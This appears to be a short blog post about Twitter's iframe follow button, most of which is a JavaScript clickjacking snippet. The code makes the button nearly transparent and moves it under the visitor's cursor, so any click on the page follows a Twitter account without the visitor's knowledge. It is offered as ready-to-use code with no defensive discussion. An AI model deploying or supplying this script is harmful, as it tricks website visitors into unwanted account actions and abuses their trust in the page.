Today Twitter released a new follow button which allow to instantly follow a user by clicking it if your connected. You don’t need to go on the twitter website to follow, everything is done through an iframe.

[cc lang=”java”]if (!document.getElementsByClassName){
document.getElementsByClassName = function(classname){
for (i=0; i < document.getElementsByTagName("*").length; i++) { if (document.getElementsByTagName("*").item(i).className == classname){ return new Array(document.getElementsByTagName("*").item(i)); } } } } var twitterFollowIframe = document.getElementsByClassName('twitter-follow-button')[0]; twitterFollowIframe.style.position = 'absolute'; twitterFollowIframe.style.opacity = '0.2'; twitterFollowIframe.style.filter = 'alpha(opacity=20)'; document.onmousemove = function(e){ if ( !e ) e = window.event; twitterFollowIframe.style.left = e.clientX - 20; twitterFollowIframe.style.top = e.clientY - 10; }[/cc] Source and author: here